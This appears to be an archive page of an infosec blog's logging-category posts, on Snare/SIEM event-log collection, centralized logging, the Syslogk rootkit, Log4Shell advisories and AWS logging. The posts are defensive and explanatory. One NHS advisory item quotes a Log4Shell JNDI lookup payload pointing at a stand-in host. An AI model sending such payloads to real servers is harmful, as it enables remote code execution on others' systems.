Mar 07 2023

Diving Deeper Into Windows Event logs for Security Operation Center (SOC) – Guide

Category: Log Management,Security logs,Windows SecurityDISC @ 8:13 am

Cyber Security operations center is protecting organizations and the sensitive business data of customers. It ensures active monitoring of valuable assets of the business with visibility, alerting and investigating threats, and a holistic approach to managing risk.

Analytics service can be an in-house or managed security service. Collecting event logs and analyzing logs with real-world attacks is the heart of the security operation center.

Events – The security operations center

Events are generated by systems that are error codes, devices generate events with success or failure to their normal function. so event logging plays an important role to detect threats. In the organization, there are multiple numbers and flavors of  Windows, Linux, firewalls, IDS, IPS, Proxy, Netflow, ODBC, AWS, Vmware, etc.

These devices usually track attackers’ footprints as logs and forward them to SIEM tools for analysis. In this article, will see how events are pushed to the log collector. To know more about windows events or event ids refer Here.

Windows Event logs

Log Collector

It’s a centralized server to receive logs from any device. Here I have deployed Snare Agent on Windows 10 machine. So we will collect windows event logs and Detect attacks on windows 10 machines attacks using Snare Agent.

The snare is SIEM(SECURITY INCIDENT AND EVENT MANAGEMENT) Solution for log collector and event analyzer in various operating systems Windows, Linux, OSX Apple, and supports database agent MSSQL events generated by Microsoft SQL Server. It supports both Enterprise and Opensource Agents.

Snare Installation

  • For Demo purposes, I have been using no credentials but it is always recommended to use strong passwords to protect logs without a leak.

Snare Web interface:-

  • By default, snare will run at Port 6161.
  • A random port can also be chosen with TCP or UDP or TLS/SSL Protocols.
  • Snare will ask for credentials to log in. Here I have given no authentication.
  • The below figure shows the snare agent install success and provides additional details on screen.

Network & File Destination Configuration

  • Our windows 10 is started sending event logs to the Snare console.
  • Snare console is running at localhost and collecting logs from a windows machine.

NOTE: Logs can be sent to a centralized server, then the centralized server push logs to SIEM (To reduce the load in SIEM this method is used), send snare logs directly to SIEM (If your SIEM is capable of good storage for a long and short-term log retention this method can be deployed), It recommended to configure your SIEM with port details of snare and test connection should be the successor to collect logs.

  • So you can change network destination IP to SIEM IP or LOG COLLECTOR IP.
  • Above figure shows destination is configured with localhost to collect and store event logs in various format SNARE, SYSLOG, CEF (Common Event Format) or LEEF (Log Event Extended Format)
  • By default, it will be collecting logs and saving file with snare format & logs are forwarded to SIEM.

Access Configuration

  • Web server port, authentication for console access, and Web server Protocol can be easily defined according to your environment.
  • The above figure shows a configuration with Web server port 6161, Snare agent port 6262, and HTTP as web server protocol for demo purposes, It is recommended to install a certificate for secure connection to forward logs.

Objective Configuration

  • The objective includes events with different categories which can be windows Log on/Log off, access to file or directory, security policy change, system restart, and shutdown.
  • Modify or delete specific events to assign a priority(CriticalHighLow & Information)

Audit Service Statistics

  • Audit Service ensures snare is connected and sends logs to SIEM.
  • It shows daily average bytes of events transmitted to SIEM.
  • In case of network failures, Soc Administrator can check the status of the service.

Security Certification – The security operations center

  • To make connection encrypted and generate a self-signed certificate to WEB-UI, snare agent, and network destination certificate validation to establish a secure way of forwarding logs to SIEM.
Security operations center

Restart-Service

  • If SIEM is not collecting Event logs from the Snare agent for a while, then it’s time to troubleshoot and retrieve logs from the snare server.
  • The above figure shows Snare services are restarted successfully.

Events – The security operations center

  • Windows 10 is forwarding event logs to your deployed SIEM or events can be viewed in the snare console.
  • Every time you cannot open and lookup for intrusions to your environment with snare, for this reason, we are forwarding logs to SIEM for Intelligence to detect attacks.
  • SIEM will be Intelligent to trap attackers by building an effective correlation rule.
  • Above pictures with Event Ids 4625 which is failed password attempt to Windows 10 machine followed by Successful 4689 Event.
  • List of Windows Event Ids Here

NOTE: Above figures shows failed attempts followed by a successful login.

Correlation rule & Incidents

  • It’s an engine designed to write a defensive rule to detect offensive guys, Each rule will be a unique incident.
  • Example: Assume that you’re writing a rule for a brute-force attempt, Brute-force attempts will have continuous threads with a different passphrase to the server.
  • As per NOTE: failed attempts followed by a successful login.

Correlation Rule : failed password attempts + Followed by successful Login = Brute-force (Incident)

Now your customer environment is ready for Known use case(Brute-force detected), you can also build or write your own use case and deploy in your SIEM to detect sophisticated cyber-attacks !!!

Mastering Windows Security and Hardening: Secure and protect your Windows environment from cyber threats using zero-trust security principles

Previous posts on Security Logs

Tags: Security Operation Center


Jan 23 2023

Windows event log analysis and incident response guide

Category: Log Management,Security logs,Windows SecurityDISC @ 6:00 pm

Microsoft Log Parser Toolkit: A Complete Toolkit for Microsoft’s Undocumented Log Analysis Tool

Windows Security Monitoring: Scenarios and Patterns

Malware Forensics Field Guide for Windows Systems

Infosec books | InfoSec tools | InfoSec services

Tags: Windows Event Log


Jun 14 2022

Experts spotted Syslogk, a Linux rootkit under development

Category: Log Management,Security logsDISC @ 8:26 am

Experts spotted a new Linux rootkit, dubbed ‘Syslogk,’ that uses specially crafted “magic packets” to activate a dormant backdoor on the device.

Researchers from antivirus firm Avast spotted a new Linux rootkit, dubbed ‘Syslogk,’ that uses specially crafted “magic packets” to activate a dormant backdoor on the device.

The experts reported that the Syslogk rootkit is heavily based on an open-source, well-known kernel rootkit for Linux, dubbed Adore-Ng.

Experts highlighted that the kernel rootkit is hard to detect, it enables hiding processes, files, and even the kernel module. The experts pointed out that it also allows authenticated user-mode processes to interact with the rootkit to control it.

Linux rootkits are malware installed as kernel modules in the operating system. Once installed, they intercept legitimate Linux commands to filter out information that they do not want to be displayed, such as the presence of files, folders, or processes.

“The rootkit has a hide_module function which uses the list_del function of the kernel API to remove the module from the linked list of kernel modules. Next, it also accordingly updates its internal module_hidden flag.” reads the analysis published by Avast.

However, the researchers explained that the rootkit has a functionality implemented in the proc_write function that exposes an interface in the /proc file system which could be used as an indicator of compromise when the value 1 is written into the file /proc/syslogk.

syslogk linux rootkit

Upon discovering the rootkit, it is possible to remove it from memory using the rmmod Linux command.

Syslogk is also able to hide the malicious payload by taking the following actions:

  • The hk_proc_readdir function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system.
  • The malicious processes are hidden via hk_getpr – a mix of Adore-Ng functions for hiding processes.
  • The malicious payload is hidden from tools like Netstat; when running, it will not appear in the list of services. For this purpose, the rootkit uses the function hk_t4_seq_show.
  • The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a netfilter hook.
  • It is also possible for the attacker to remotely stop the payload. This requires using a hardcoded key in the rootkit and knowledge of some fields of the magic packet used for remotely starting the payload.

Avast researchers observed the Syslogk rootkit loading a Linux backdoor named Rekoobe, which will be activated on the compromised system when the rootkit receives a “magic packet” from the operators.

“We observed that the Syslogk rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some magic packets are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely ‘magically’ executed, hidden on the network.” continues the analysis. “Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.”

Syslogk listens for specially crafted TCP packets that include special “Reserved” field values, “Source Port” numbering between 63400 and 63411 inclusive, “Destination Port” and “Source Address” matches, and a hardcoded key.

Experts believe that the Syslogk rootkit is under development and it will likely implement new features in the next versions.

“One of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.” concludes the report which also includes indicators of compromise. “On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.”

Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats

DISC InfoSec

#InfoSecTools and #InfoSectraining

#InfoSecLatestTitles

#InfoSecServices

Tags: Linux rootkit, Rootkits and Bootkits, Syslogk


Jan 07 2022

Log4Shell-like security hole found in popular Java SQL database engine H2

Category: Log Management,Log4j,Security logsDISC @ 10:14 am

“It’s Log4Shell, Jim,” as Commander Spock never actually said, “But not as we know it.”

That’s the briefest summary we can come up with of the bug CVE-2021-42392, a security hole recently reported by researchers at software supply chain management company Jfrog.

This time, the bug isn’t in Apache’s beleagured Log4j toolkit, but can be found in a popular Java SQL server called the H2 Database Engine.

H2 isn’t like a traditional SQL system such as MySQL or Microsoft SQL server.

Although you can run H2 as a standalone server for other apps to connect into, its main claim to fame is its modest size and self-contained nature.

As a result, you can bundle the H2 SQL database code right into your own Java apps, and run your databases entirely in memory, with no need for separate server processes.

As with Log4j, of course, this means that you may have running instances of the H2 Database Engine code inside your organization without realizing it, if you use any apps or development components that themselves quietly include it.

JNDI back in the spotlight

I Survived Log4Shell 2021

Tags: Log4shell, SQL database engine H2


Jan 07 2022

Threat actor targets VMware Horizon servers using Log4Shell exploits, UK NHS warns

Category: Log4j,Security logsDISC @ 9:57 am

The security team at the UK National Health Service (NHS) announced to have spotted threat actors exploiting the Log4Shell vulnerability to hack VMWare Horizon servers and install web shells.

“An unknown threat group has been observed targeting VMware Horizon servers running versions affected by Log4Shell vulnerabilities in order to establish persistence within affected networks.” reads the security advisory published by NHS.

“The attack likely consists of a reconnaissance phase, where the attacker uses theJava Naming and Directory InterfaceTM (JNDI) via Log4Shell payloads to call back to malicious infrastructure. Once a weakness has been identified, the attack then uses the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.”

Once installed a web shell, threat actors can use it to carry out a broad range of malicious activities, such as deploying data exfiltration or deployment of ransomware.

In mid-December, experts reported that the Conti ransomware gang was the first professional group that leveraged Log4Shell exploit to compromise VMware vCenter Server installs. The ransomware group used the exploit to target internal devices that are not protected.

The CVE-2021-44228 flaw made the headlines in December, after Chinese security researcher p0rz9 publicly disclosed a Proof-of-concept exploit for the critical remote code execution zero-day vulnerability (aka Log4Shell) that affects the Apache Log4j Java-based logging library.

According to the NHS, threat actors are looking for unpatched VMWare Horizon servers to exploit the Log4Shell vulnerability.

The attackers employed a Log4Shell payload similar to ${jndi:ldap://example.com}, then launches a PowerShell command, spawned from ws_TomcatService.exe.

Log4Shell Nhs

When the attackers find a vulnerable server, they use the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.

NHS recommends organizations to look for the following indicators of exploitation:

  • Evidence of ws_TomcatService.exe spawning abnormal processes
  • Any powershell.exe processes containing ‘VMBlastSG’ in the commandline
  • File modifications to ‘…\VMware\VMware View\Server\appblastgateway\lib\absg-worker.js’ – This file is generally overwritten during upgrades, and not modified

Affected organizations should review the VMware Horizon section of the VMware security advisory (VMSA-2021-0028) and apply security updates or mitigations as soon as possible.

Tags: Log4Shell exploits, VMware Horizon servers


Jan 06 2022

A Deeper Dive Into the Value of Centralized Logging

Category: Log Management,Security logsDISC @ 10:34 am

let’s go a bit deeper and discuss some best practices regarding centralized logging and what other log files you can put in your security incident and event management (SIEM) server. Before I do, picture this scenario:It’s 11:00 p.m. Saturday night over the Labor Day weekend. Your helpdesk reported that the network is slow in New York City. That is very odd—no one is working Saturday in New York, Chicago, Los Angeles or in any of your offices.What is going on?

You haven’t yet implemented centralized logging or a SIEM tool, so you call the operations team (Ops) and alert them that something is going on in New York. You wait for them to get back to you. Thirty minutes pass; then you get a text back:Ops: Yes, there is a problem in New York. It is in the big video conference room on the 45th floor. Someone or something is flooding the network with traffic. The entire network in New York is crawling at a snail’s pace.Maybe a criminal is launching a ransomware attack.Maybe there is a denial-of-service (DOS) attack.Maybe the customer you hosted on Friday afternoon put a Raspberry Pi on the network in the conference room and has attacked the network.

What is going on?!

For you or your team to be able to answer this question quickly, you need to know what is happening on your network. You need centralized logging.

As you read this post, you might be thinking, “I can’t afford this, John!” and you’re probably right. Information security probably doesn’t have the budget for centralized logging just for the sake of information security. But once you have the logs in a central location, they can be used for other business purposes besides infosec.

OK, that makes more sense. How do you get started?

First, you want to follow best practices; namely, plan ahead and think it through. Planning and thinking through this kind of project will pay off on several fronts, not just for information security.

Here are some of the things to consider when you say to yourself, “I want centralized logging to improve my information security program.”

Step One: Make a plan and have a strategy for this project

Do not buy the first SIEM tool you find. Think about what data you want to collect. As part of this planning process you’ll ask questions of your network team and others including:

  • How big are the daily logs from the web servers, SQL, Oracle DBs, etc.?
  • What is our network traffic load like (Gigabytes of network logs? Terabytes of network logs)?
  • How many devices do we want (or need) to monitor (servers, switches, firewalls, wireless APs)?
  • From what other systems do we want to collect logs (antivirus, home-grown applications, VoIP traffic, printer logs, your Kubernetes farm, etc.)?
  • What kind of shop are you running? All Microsoft? All Linux? A hybrid?
  • Besides security monitoring, why are you logging all this information? Application troubleshooting? Customer support? Continuous improvement?

Step Two: Standardize

Before you purchase anything, make sure the structure of the logs you are collecting is consistent or can be made consistent in the tool.

You won’t be able to ingest logs from multiple data sources unless there is a consistent log format. Your network infrastructure devices will have a format—most likely syslog format—and your firewall(s) will likely have a similar format and then things can get proprietary (ugly, in other words). Remember, you are not just dumping data into a SQL server and then magically extracting useful information and meaningful insight into your network.

Step Three:  Keep all your network devices synchronized

This might seem obvious, but to be clear, you need to make sure the logs are all synced to the same time. All network devices and computer systems have a clock, so you will get the date and time for the events that you are logging. You want to use network time protocol (NTP) to sync all the systems to the same time source or you’ll have problems. Time is relative, sure, but for the purposes of logging events in a SIEM tool for troubleshooting, you need the clocks on your devices set to the same time and time zone.

If you have a switch (or two) that thinks it’s 1990 but you know it’s 2022, you are going to have a real tough time figuring out what happened Saturday night. It is easy for network devices and servers to get out of sync; you need them to be synchronized so that you know what happened at exactly what time.

Step Four: Ensure that each data source has unique identifiers

If you are searching through log data looking to see what happened Saturday night at 11:00 p.m. Eastern Daylight Time, make sure you know which switch is in the server room and which switch is in the big video conference room on the 45th floor. Here is an example of a switch log record; note the various fields and values that you want to be able to search and index.

Switch log record example from centralized logging.
Switch log record example.

You can see that this single log record has lots of information, but what switch did it come from? You need to be able to answer that question or all your time and effort will be wasted.

Step Five: Keep your production logs and centralized logs separate

This is, again, probably obvious; but to be clear: Your SIEM tool does not replace your SQL logs (or Oracle logs or other production logs). When you need to roll back transactions in SQL or Oracle, etc., you are going to use those production logs. The value of the SIEM tool is to gather insights about your network and servers and other devices. We are mainly focused on security insights (telemetry, correlation, etc.), but the same advice applies to troubleshooting a cranky application, investigating dropped VoIP calls or providing customer support.

“Hooray! Now I’m done!”

You’re not done yet.

“Wait—I’m not?”

Well, you’re more than halfway done. You’ve done the heavy lifting of getting your log data organized and centralized so that you can identify problems on your network when they happen. That is great! Now you get to use this new tool to get insight into what is happening on your network.

Flashback to the Labor Day incident and you can start to see how this tool can help you figure out what is happening.It’s 11:00 p.m. Saturday night over the Labor Day weekend. Your helpdesk reported that the network is slow in New York City. That is very odd—no one is working Saturday in New York, Chicago, Los Angeles or in any of your offices.What is going on?

You tell the helpdesk to put in a ticket to network operations about the slow network in New York. The Ops team opens up the SIEM tool and does a query. Sure enough, the switch in the conference room is blasting out a ton of bad packets. When they look a bit closer, they see the offender is an IoT device that has gone bad and is flooding the network with bad packets.

No other alerts have been triggered.

  • The firewall is not showing unusual activity out of New York or anywhere else.
  • The database servers are humming along fine in the server room.
  • The only problem is that one switch in the conference room.
  • It’s not ransomware; you’re not under attack.
  • You don’t have to call the CEO or the CFO about a possible ransomware attack.

The Ops team shuts off the port on the switch, traffic returns to normal and the event is logged in the ticketing system. A ticket has been opened for a support person in New York to replace the bad IoT device first thing Tuesday morning.

Mystery solved, crisis averted—and you can chalk up that win to using the SIEM tool to identify the offending switch. That is #Winning.

Guide to Computer Security Log Management : Recommendations of the National Institute of Standards and Technology

Guide to Computer Security Log Management

Tags: Centralized Logging


Jan 03 2022

Critical Log Review Checklist For Security Incidents

Category: Log Management,Security logsDISC @ 12:32 pm

Critical Log Review Checklist For Security Incidents – by SANS Institute

No alternative text description for this image


Guide to Computer Security Log Management : Recommendations of the National Institute of Standards and Technology

Guide to Computer Security Log Management

Tags: Critical Log Review


Dec 29 2021

Apache Log4j 2.17.1 fixes new remote code execution flaw (CVE-2021-44832)

Category: Log Management,Log4j,Security logsDISC @ 11:39 am

The Apache Software Foundation released Log4j 2.17.1 version to address a recently discovered arbitrary code execution flaw, tracked as CVE-2021-44832, affecting Log4j 2.17.0.

CVE-2021-44832 is the fifth vulnerability discovered in the popular library in the last weeks. Like the previous issues affecting the library, this one could be exploited by threat actors to execute malicious code on affected systems.

“Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.” reads the advisory.

The flaw received a CVSS score of 6.6 and impacts all log4j versions from 2.0-alpha7 to 2.17.0. Versions 2.3.2 and 2.12.4. are not impacted.

The vulnerability was discovered by Checkmarx security researcher Yaniv Nizry who reported it to Apache on December 27.

Nizry also published details of the CVE-2021-44832 flaw in a blog post, he speculates that the exploitation of this issue is more complex than the CVE-2021-44228 one.

“This vulnerability doesn’t use the disabled lookup feature. The complexity of this vulnerability is higher than the original CVE-2021-44228 since it requires the attacker to have control over the configuration,” states Nizry. “Unlike Logback, in Log4j there is a feature to load a remote configuration file or to configure the logger through the code, so an arbitrary code execution could be achieved with [an] MitM attack, user input ending up in a vulnerable configuration variable, or modifying the config file.”

Tags: CVE-2021-44832


Dec 27 2021

Windows Event Log Analysis

Category: Log Management,Security logs,Windows SecurityDISC @ 11:14 am

Trace and Log Analysis: A Pattern Reference for Diagnostics and Anomaly Detection

Trace and Log Analysis: A Pattern Reference for Diagnostics and Anomaly Detection by [Dmitry Vostokov, Software Diagnostics Institute]

Tags: Trace and Log Analysis, Windows Event Log


Dec 21 2021

More than 35,000 Java packages impacted by Log4j flaw, Google warns

Category: Log4j,Security logs,Security vulnerabilitiesDISC @ 11:12 am

The Google Open Source Team scanned the Maven Central Java package repository and found that 35,863 packages (8% of the total) were using versions of the Apache Log4j library vulnerable to Log4Shell exploit and to the CVE-2021-45046 RCE.

“More than 35,000 Java packages, amounting to over 8% of the Maven Central repository (the most significant Java package repository), have been impacted by the recently disclosed log4j vulnerabilities (12), with widespread fallout across the software industry.” reads the report published by Google. “As far as ecosystem impact goes, 8% is enormous.”

The Google experts used the Open Source Insights, a project used to determine open source dependencies, to assess all versions of all artifacts in the Maven Central Repository.

The experts pointed out that the direct dependencies account for around 7,000 of the affected packages. Most of the affected artifacts are related to indirect dependencies.

log4j

“The deeper the vulnerability is in a dependency chain, the more steps are required for it to be fixed. The following diagram shows a histogram of how deeply an affected log4j package (core or api) first appears in consumers dependency graphs.” reads the post published by the researchers. “For greater than 80% of the packages, the vulnerability is more than one level deep, with a majority affected five levels down (and some as many as nine levels down). These packages will require fixes throughout all parts of the tree, starting from the deepest dependencies first.”

But since the vulnerability was disclosed, 13% of all vulnerable packages have been fixed (4,620).

How long will it take for this vulnerability to be fixed across the entire ecosystem?

Log4j Java Programmer Programming Coding Funny Tote Bag

Tags: Java packages, Log4j, Log4shell


Dec 14 2021

Here We Go Again: Second Log4j Flaw Surfaces

Category: Log Management,Log4j,Security logsDISC @ 11:03 pm

Maybe Log4j vulnerabilities are like rats—for every one that’s visible, multiple others scurry beneath the surface. It’s too early to tell if that’s what will happen with Log4j.

But just a day or so after a damaging vulnerability was disclosed, another has come to light. This time it’s believed to be moderate in severity.

“A second vulnerability involving Apache Log4j was found on Tuesday,” according to a MITRE alert. “The description on the new CVE 2021-45046 said the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was ‘incomplete in certain non-default configurations.’”

“When a vulnerability is discovered and makes as much noise as Log4Shell, it invariably signals that there are additional vulnerabilities in the same software or fixes for that software and that triggers additional research and discovery,” said Casey Ellis, founder and CTO at Bugcrowd.

“The technique of abusing JNDI lookups with user-generated data has been around for years,” agreed Davis McCarthy, principal security researcher at Valtix. “With the attention CVE-2021-44228 has received, I wouldn’t be surprised if we saw a third CVE related to Log4j2.”

Ellis pointed out that “in this case, the initial fix provided was developed in a way that mitigated the exploitable symptom, but didn’t properly address the root cause.”

Indeed, Apache said the fix addressing “CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations,” according to the alert. “This could allow attackers with control over thread context map (MDC) input data when the logging configuration uses a non-default pattern layout with either a context lookup (for example, $${ctx:loginId}) or a thread context map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI lookup pattern resulting in a denial-of-service (DOS) attack.”

The alert said, “Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.” But previous mitigations that involve “configuration such as to set the system property `log4j2.noFormatMsgLookup` to `true` do not mitigate this specific vulnerability,” MITRE warned. “Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).”

Ellis said the situation “also highlights the dangerous dependency open source users have on libraries which power large portions of the Internet but are ultimately written and maintained by unfunded volunteers with limited available time.” He gave credit to “ the Log4j maintainers” who he said likely “had an even busier and more stressful week than those in cybersecurity and are working on fixing and improving Log4j’s resilience as quickly as they can.”

Incomplete fixes are often a result of rushing patches to fix vulnerabilities, noted John Bambenek, principal threat hunter at Netenrich. The solution, he said, “is to disable JNDI functionality entirely (which is the default behavior in the latest version).”

Since “at least a dozen groups are using these vulnerabilities,” immediate action should then be taken “to either patch, remove JNDI or take it out of the classpath—preferably all of the above,” said Bambenek.

Manu Singh, risk engineer at Cowbell Cyber, sees an opportunity to show “a real-life use case where cyberinsurers can step up and help businesses.”

Singh said that Cowbell Cyber notified its policyholders of the vulnerabilities. “And our risk engineering team is available to help,” said Singh. “This is crucial in the small and mid-size market where security and IT resources are limited.”

Log4j Breach Discovery Takes 197 Days

LOG4SHELL REPORT

CISA adds Log4Shell Log4j flaw to the Known Exploited Vulnerabilities Catalog

Tags: Log4j, Log4shell


Feb 23 2021

Security Logging in Cloud Environments – AWS

Category: Cloud computing,Security logsDISC @ 4:33 pm

Which Services Can We Leverage?

AWS offers multiple services around logging and monitoring. For example, you have almost certainly heard of CloudTrail and CloudWatch, but they are just the tip of the iceberg.

CloudWatch Logs is the default logging service for many AWS resources (like EC2, RDS, etc.): it captures application events and error logs, and allows to monitor and troubleshoot application performance. CloudTrail, on the other hand, works at a lower level, monitoring API calls for various AWS services.

Although listing (and describing) all services made available by AWS is out of scope for this blog post, there are a few brilliant resources which tackle this exact problem:

In the remainder of this section I’ll provide a summary of the main services we will need to design our security logging platform. Before doing so, though, it might be helpful having a high-level overview of how these services communicate (special thanks to Scott Piper for the original idea)

Source: Security Logging in Cloud Environments – AWS

Tags: AWS security, Cloud computing, cloud security